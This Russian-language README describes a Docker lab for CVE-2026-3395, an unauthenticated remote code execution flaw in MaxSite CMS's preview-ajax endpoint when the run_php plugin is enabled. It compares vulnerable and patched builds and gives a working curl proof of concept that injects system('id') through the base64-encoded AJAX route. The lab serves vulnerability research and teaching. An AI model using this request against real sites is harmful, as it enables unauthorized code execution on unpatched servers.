CVE-2026-3395 — Лаборатория неаутентифицированного RCE в MaxSite CMS

Этот репозиторий предназначен только для образовательных и исследовательских целей. Все тестирование должно проводиться в локальной среде Docker-лаборатории. Не разворачивайте эту конфигурацию на публичных или производственных системах.

Краткое описание

CVE-2026-3395 затрагивает MaxSite CMS и позволяет неаутентифицированный доступ к административной AJAX-конечной точке. Когда плагин run_php включён, пользовательский ввод может быть выполнен как PHP-код через систему хуков CMS, что может привести к удалённому выполнению кода (RCE).

Этот репозиторий включает:

• Уязвимую сборку (коммит до исправления)
• Исправленную сборку (коммит после исправления)
• Docker-лабораторию для воспроизведения
• Безопасную демонстрацию подтверждения воздействия

Обзор уязвимости

Уязвимая конечная точка расположена по адресу:

application/maxsite/admin/plugins/editor_markitup/preview-ajax.php

В уязвимой версии:

• К конечной точке можно получить доступ без аутентификации
• Пользовательский ввод (POST data) передаётся через mso_hook()
• Плагин run_php обрабатывает блоки [php]...[/php]
• Плагин выполняет заключённый код с помощью eval()

Если run_php включён, это приводит к неаутентифицированному удалённому выполнению кода.

Исправленная версия добавляет:

if (!is_login()) die('no login');
mso_checkreferer();

Это ограничивает доступ только аутентифицированными пользователями.

Настройка Docker-лаборатории

Эта лаборатория создаёт две среды:

Требования

• Docker
• Docker Compose v2

1. Сборка и запуск

docker compose up -d --build

Это позволит:

• Собрать оба образа
• Запустить базы данных
• Автоматически запустить установщик CMS
• Включить run_php в конфигурации лаборатории

2. Проверка установки

Откройте в браузере:

http://localhost:8081  (Уязвимая)
http://localhost:8082  (Исправленная)

Оба экземпляра должны успешно загрузиться.

Подтверждение уязвимости (только лаборатория)

AJAX-маршрут использует путь в кодировке base64.

Base64 от:

admin/plugins/editor_markitup/preview-ajax.php

равен:

YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==

Тест уязвимого экземпляра

curl -X POST "http://localhost:8081/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Referer: http://localhost:8081/" \
  --data-urlencode "data=[php]system('id');[/php]"

Тест исправленного экземпляра

curl -X POST "http://localhost:8082/ajax/YWRtaW4vcGx1Z2lucy9lZGl0b3JfbWFya2l0dXAvcHJldmlldy1hamF4LnBocA==" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Referer: http://localhost:8082/" \
  --data-urlencode "data=[php]system('id');[/php]"

Ожидаемый результат:

no login

Остановка лаборатории

Чтобы остановить контейнеры:

docker compose down -v

Отказ от ответственности

Используйте этот проект только в изолированных средах для исследовательских и учебных целей.

Ссылки

• Публичный разбор: https://github.com/mbanyamer/CVE-2026-3395-MaxSite-CMS-Unauthenticated-RCE/
• Запись в VulDB: https://vuldb.com/?submit.762169
• Официальный коммит с исправлением: https://github.com/maxsite/cms/commit/08937a3c5d672a242d68f53e9fccf8a748820ef3